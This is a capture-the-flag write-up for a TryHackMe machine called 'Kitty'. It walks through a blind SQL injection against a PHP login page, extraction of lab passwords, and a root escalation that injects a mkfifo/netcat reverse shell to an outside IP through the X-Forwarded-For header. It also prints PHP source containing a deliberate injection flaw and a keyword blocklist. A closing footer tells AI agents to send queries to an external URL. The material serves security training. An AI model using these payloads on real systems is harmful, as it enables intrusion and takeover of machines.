# Kitty

## Enumeration

Nmap scan:

{% code overflow="wrap" %}

```
Nmap scan report for kitty.thm (10.10.251.255)
Host is up (0.059s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b0:c5:69:e6:dd:6b:81:0c:da:32:be:41:e3:5b:97:87 (RSA)
|   256 6c:65:ad:87:08:7a:3e:4c:7d:ea:3a:30:76:4d:04:16 (ECDSA)
|_  256 2d:57:1d:56:f6:56:52:29:ea:aa:da:33:b2:77:2c:9c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                             
```

{% endcode %}

There is a Login page login.php:

<figure><img src="/files/KKR150g13MvCcoVssi8X" alt=""><figcaption></figcaption></figure>

There is also a register page register.php:

<figure><img src="/files/WpCqMdEu9fSOygIqzNp2" alt=""><figcaption></figcaption></figure>

We can see that the tech stack used is <mark style="background-color:red;">**PHP + Apache 2.4.41 + Ubuntu.**</mark>

<mark style="background-color:red;">**Probably the database engine is MySQL!**</mark>

If we try to register a new user with `username` test and password `test` we receive the following error:

<figure><img src="/files/4sARocfe5yNK6zffgFsO" alt=""><figcaption></figcaption></figure>

<mark style="background-color:red;">**Password must have atleast 6 characters!**</mark>

Creating an account test:testtest and login we came to welcome.php:

<figure><img src="/files/rinofMDQVT2aEHJFj1ua" alt=""><figcaption></figcaption></figure>

Try to register another user with name test:

<figure><img src="/files/vTyyWNzch1ICF5RxxhZB" alt=""><figcaption></figcaption></figure>

We receive a HTTP 200 status code response with message "<mark style="background-color:red;">**This username is already taken**</mark>".

Instead if we use a correct username (test) but a bad password like in login form we obtain always HTTP 200 status code response with message "Invalid username or password":

<figure><img src="/files/6qXBteNJu88BFwtxfL0O" alt=""><figcaption></figcaption></figure>

Try to enumerate some hidden directories and files:

{% code overflow="wrap" %}

```php
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u "http://kitty.thm/FUZZ" -ic -fc 403 -t 300 -e .php 
```

{% endcode %}

<figure><img src="/files/qjF750PK0bTAU5wDUG3z" alt=""><figcaption></figcaption></figure>

## Exploit Blind SQL injection

Intercept the Login HTTP request in BurpSuite:

<figure><img src="/files/SiTn4dDIndFAvZkE7iFH" alt=""><figcaption></figcaption></figure>

If we try a simple SQL injection like  `' OR 1=1 ; -- #`&#x20;

in order to exploit a SQL statement like this one we obtain an error message about SQL injection attempt:

{% code overflow="wrap" %}

```sql
select username,password from users where username = 'test' and password = '' OR 1=1; --#test';
```

{% endcode %}

If we try to inject SQL on username field we have instead a success:

<figure><img src="/files/zezjUsbR7xEDX4zJjBJa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LJfo5Ccd2ezucQaK1J8O" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```sql
select username,password from users where username = 'test'-- #' and password = 'test';
```

{% endcode %}

Now we can try to inject some SQL code, starting from UNION attacks and using the response code 302 returned when login is successfull.

First enumerate the number of columns requested with original SELECT by variably incrementing the number of NULL columns in order to spot the original columns requested (4 is the correct number of null to use!):

{% code overflow="wrap" %}

```sql
select ?,?,username,password from users where username = '' UNION SELECT null,null-- -' and password = 'test';
```

{% endcode %}

<figure><img src="/files/XoJbQOFUFhKPvrB2D0se" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/btZohwjZrinEjWjodkH0" alt=""><figcaption></figcaption></figure>

So we have a Blind SQL Injection and we need to retrieve information from database only using the HTTP response code.

Try to enumerate the database name using SQL function `SUBSTRING()` and built-in MySQL function `database()` :

<figure><img src="/files/jQEq1LvPaFDmTS0N25fF" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
username=' UNION SELECT null,null,null,null WHERE substring(database(),1,1) > 'a'-- -&password=password
```

{% endcode %}

By asking the DB engine if the first character of the database name in use is greater than the character 'a' the response code is 302. If, on the other hand, we set the condition to be less than the character 'a' i.e., a nonprintable ASCII character, the response code becomes 200:

<figure><img src="/files/RdVnqJmZ8r5QrbUpwOzx" alt=""><figcaption></figcaption></figure>

The payload to use to enumerate each character of `database()` function output is this one:

<figure><img src="/files/vrBFZiJcgqT9KA2kzin5" alt=""><figcaption></figcaption></figure>

We must use a <mark style="color:blue;">**Cluster Bomb**</mark> type attack since the index of the `substring()` function will have to be incremented only after comparing the corresponding character with all possible printable ASCII characters. For example we will have queries executed in this order:&#x20;

`... substring(database(),1,1) = 'a' ...`

`... substring(database(),1,1) = 'b' ...`

`.`

`.`

`.`

`... substring(database(),1,1) = 'z' ...`

And then I increment the index:

`... substring(database(),2,1) = 'a' ...`

`... substring(database(),2,1) = 'b' ...`

`.`

`.`

`.`

`... substring(database(),2,1) = 'z' ...`

The first payload set (index):

<figure><img src="/files/QEFbRxZOT4TZcoHGNZ3P" alt=""><figcaption></figcaption></figure>

The second payload set (character):

<figure><img src="/files/4UNz11N5KJ4ojOhaPsgZ" alt=""><figcaption></figcaption></figure>

The attack work in the way explained above:

<figure><img src="/files/kiG86u5Oes6CsdZ0VfVt" alt=""><figcaption></figcaption></figure>

Filter using only 302 response code:

<figure><img src="/files/s1r6MlrrlwSwTfyDpsFo" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LoaoHDhvr1Lw3fTpXuUK" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
As we can see, the name of the extracted database turns out to be `MYWEBSITE` or`mywebsite`. Both forms in BurpSuite turn out to be valid because the comparison operations in MySQL, such as those used in `WHERE` clauses, are typically case insensitive by default, depending on the collation used for the column or database. To avoid false positives in the output, it is necessary to use the keyword BINARY:

{% code overflow="wrap" %}

```sql
username=' UNION SELECT null,null,null,null WHERE BINARY substring(database(),1,1) > 'a'-- -&password=password
```

{% endcode %}
{% endhint %}

<mark style="background-color:red;">Database name: mywebsite</mark>

Try to enumerate the user using user() function:

<figure><img src="/files/4WdRu0v3fE2jMjP6U8l5" alt=""><figcaption></figcaption></figure>

<mark style="background-color:red;">Username: kitty</mark>

Try to enumerate the table name:

<figure><img src="/files/1Dhh2mt6W1voe8L9BGtO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/JNxmLHyW4yVGNZcu4F2F" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/h6goKvxQMZz4rj86VEfQ" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
username=' UNION SELECT null,null,null,table_name FROM information_schema.tables WHERE table_schema not in ('information_schema', 'mysql', 'performance_schema', 'sys') and substring(table_name,§1§,1) = '§a§'-- -&password=password
```

{% endcode %}

Filter as always for only 302 response code:

<figure><img src="/files/QwY9favp4j6UTJFIIFI7" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
In this case we only have the table name in lower case since table names in MySQL are case sensitive!
{% endhint %}

<mark style="background-color:red;">table name: siteusers</mark>

Try to enumerate the columns name using the following payload:

{% code overflow="wrap" %}

```sql

username=' UNION SELECT null,null,null,column_name FROM information_schema.columns WHERE table_schema not in ('information_schema','mysql','performance_schema','sys') and table_name='siteusers' and substring(column_name,§1§,1) = '§u§';-- -&password=password
```

{% endcode %}

{% hint style="warning" %}
In this case we only have the column name in lower and upper case since column names in MySQL are case IN-sensitive!
{% endhint %}

<figure><img src="/files/Fhrl2pJK3rQy2N9MJJKM" alt=""><figcaption></figcaption></figure>

But using the Cluster bomb attack due to the fact that there are 4 columns, names result mixed in the attack result :sob:

At the cost of making testing manual (one solution might be to use Python) we enumerate the first character first and then increment the substring length:

<figure><img src="/files/LKT2A5HWigCEMpHwirHH" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fG2WKqlvawet6o8dYhpv" alt=""><figcaption></figcaption></figure>

The second character for the targeted column is 'r':

<figure><img src="/files/uMqglznDoHzZMZakRhXS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RrLaMDxTIfTnBY8XBz7X" alt=""><figcaption></figcaption></figure>

and so on...

The resulting columns name are:

* <mark style="background-color:red;">created\_at</mark>
* <mark style="background-color:red;">id</mark>
* <mark style="background-color:red;">username</mark>
* <mark style="background-color:red;">passwords</mark>

Enumerate the password of user kitty previously discovered:

<figure><img src="/files/bYwy0iOMc8kTaajzTQ6U" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
username=' UNION SELECT null,null,null,password FROM siteusers WHERE username='kitty' and substring(password,§1§,1) = '§changeme§';-- -&password=password
```

{% endcode %}

<figure><img src="/files/ZDTYbdluqdarsHfF4Hns" alt=""><figcaption></figcaption></figure>

As we can see we've a problem here because function SUBSTRING() is CASE INSENSITIVE so both upper and lower case return 302 Response code.

We need to use BINARY keyword:

<figure><img src="/files/ygg3MZLgTb2gWg0Vufyp" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dybxWHvScwW0ABuUmIpO" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gtxjoVgKeFa6bdAG39tO" alt=""><figcaption></figcaption></figure>

password of kitty: <mark style="background-color:red;">**L0ng\_Liv3\_KittY**</mark>

Connect to machine using ssh and get user flag:

<figure><img src="/files/Ikhgl8OBdExm2xNiSmQY" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Some manual searching & enumeration on file system:

```php
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'kitty');
define('DB_PASSWORD', 'Sup3rAwesOm3Cat!');
define('DB_NAME', 'mywebsite');

/* Attempt to connect to MySQL database */
$mysqli = new mysqli(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);

// Check connection
if($mysqli === false){
        die("ERROR: Could not connect. " . $mysqli->connect_error);
}
?>

```

Connect to mysql locally using these credentials:

<figure><img src="/files/vORnsjlTrU3eoKlLrXph" alt=""><figcaption></figcaption></figure>

{% code title="index.php" overflow="wrap" %}

```php
<?php
// Initialize the session
session_start();

// Check if the user is already logged in, if yes then redirect him to welcome page
if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
    header("location: welcome.php");
    exit;
}

include('config.php');
$username = $_POST['username'];
$password = $_POST['password'];
// SQLMap 
$evilwords = ["/sleep/i", "/0x/i", "/\*\*/", "/-- [a-z0-9]{4}/i", "/ifnull/i", "/ or /i"];
foreach ($evilwords as $evilword) {
        if (preg_match( $evilword, $username )) {
                echo 'SQL Injection detected. This incident will be logged!';
                die();
        } elseif (preg_match( $evilword, $password )) {
                echo 'SQL Injection detected. This incident will be logged!';
                die();
        }
}


$sql = "select * from siteusers where username = '$username' and password = '$password';";  
$result = mysqli_query($mysqli, $sql);  
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);  
$count = mysqli_num_rows($result);
if($count == 1){
        // Password is correct, so start a new session
        session_start();

        // Store data in session variables
        $_SESSION["loggedin"] = true;
        $_SESSION["username"] = $username;
        // Redirect user to welcome page
        header("location: welcome.php");
} elseif ($username == ""){
        $login_err = "";
} else{
        // Password is not valid, display a generic error message
        $login_err = "Invalid username or password";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body{ font: 14px sans-serif; }
        .wrapper{ width: 360px; padding: 20px; }
    </style>
</head>
<body>
    <div class="wrapper">
        <h2>User Login</h2>
        <p>Please fill in your credentials to login.</p>

<?php 
if(!empty($login_err)){
        echo '<div class="alert alert-danger">' . $login_err . '</div>';
}        
?>

        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control">
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control">
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <p>Don't have an account? <a href="register.php">Sign up now</a>.</p>
        </form>
    </div>
</body>
</html>

```

{% endcode %}

Notice that there are 2 different directories `development` and `html`:

<figure><img src="/files/sDIiqN8f6hMxUU3TBkv3" alt=""><figcaption></figcaption></figure>

the only file that differs between the two folders is this `logged` that is empty.

If we inspect the socket opens with `ss`:

<figure><img src="/files/Lnne1dFNZDVCdUl7xkFO" alt=""><figcaption></figcaption></figure>

We see that there is a listen socket on port 8080 that's not reachable from external machines. We need to establish an SSH tunnel to this port, since we can’t just access it externally:

```bash
ssh kitty@kitty.thm -L 8081:localhost:8080 
```

<figure><img src="/files/1FaVKW23EA2sm3KxBC2H" alt=""><figcaption></figcaption></figure>

The site seems to work exactly like the first one.

Try to search under other directories...like `/opt` for example:

<figure><img src="/files/7DB8qAxxRbNiT32cooL8" alt=""><figcaption></figcaption></figure>

If we can write inside the logged file, it will be used as the source of the $ip input and we can try to break the command "echo $ip..." and get a shell as root.

There is no cronjob but presumably this script is executed by the root user. Let's check using [pspy64](https://github.com/DominicBreuker/pspy), by copying it on victim machine and analyze the processes:

<figure><img src="/files/fFohjOEghrTSr2pRWpxj" alt=""><figcaption></figcaption></figure>

Every minute this script is executed by user root (UID=0).

The problem here is that only `www-data` can write to this file:

<figure><img src="/files/JcAQHPZPjcuZhTSrR4DI" alt=""><figcaption></figcaption></figure>

Seeing the development code, we note that:

<figure><img src="/files/yhVTQq0T5aFySwG2wfIf" alt=""><figcaption></figcaption></figure>

There are defined patterns that triggers Apache to write the IP passed with HTTP Header X-Forwarded-For.

Note that this portion of code there isn't in website currently running on port 80:

<figure><img src="/files/ExjN4XoSz2tCMmzxUxls" alt=""><figcaption></figcaption></figure>

Force the write of IP address by triggering some of these patterns using OR keyword for example:

<figure><img src="/files/Xw8PZtFC2L0bJVRjKgBm" alt=""><figcaption></figcaption></figure>

But as we can see, the client doesn't send automatically the `X-Forwarded-For` HTTP header, so we need to modify with BurpSuite the request like this one, using 1.1.1.1 as test for our privilege escalation:

<figure><img src="/files/NBfTtIRMyFg4xprAuGLN" alt=""><figcaption></figcaption></figure>

And finally here we can see that IP is written to the `logged` file:

<figure><img src="/files/d82GB5esbAQviPRaqqj2" alt=""><figcaption></figcaption></figure>

The command execution to evade is this:

```bash
/usr/bin/sh -c "echo $ip >> /root/logged"
```

We can test it on our Kali machine and see the result. The `ls -la` need to be substitute with the command to spawn a reverse shell:

```bash
/usr/bin/sh -c "echo ok;ls -la;echo ok >> /tmp/logged"
```

<figure><img src="/files/1K4AlQBz05Bw2zZBMjqN" alt=""><figcaption></figcaption></figure>

The command that we want to obtain is like this one:

```bash
/usr/bin/sh -c "echo ok;nc -c sh 10.8.61.24 7777;echo ok >> /tmp/logged"
```

On the victim machine there is netcat:

<figure><img src="/files/9J0J0WXdr0Ye5Z9nEqTo" alt=""><figcaption></figcaption></figure>

But there isn't the option `-c`:

<figure><img src="/files/OIwYjW4lLWAIymnPOqJe" alt=""><figcaption></figcaption></figure>

So we need to change the payload as this one:

{% code overflow="wrap" %}

```
X-Forwarded-For: ok;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.61.24 7777 >/tmp/f;echo ok
```

{% endcode %}

To reach this result we need to send IP formatted as below:

<figure><img src="/files/23eMyjNkmeSQcFbVFqiZ" alt=""><figcaption></figcaption></figure>

On victim machine we obtain the payload reflected inside `logged` file:

<figure><img src="/files/65bfoBrj7FPgV6zTAI0E" alt=""><figcaption></figcaption></figure>

We put the Kali listen on port 7777:

<figure><img src="/files/p6buDjyMeTwjAAr4QyWH" alt=""><figcaption></figcaption></figure>

Enjoy the root! :clap:


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://learn.samuelepadula.it/learn/tryhackme/writeups/kitty.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
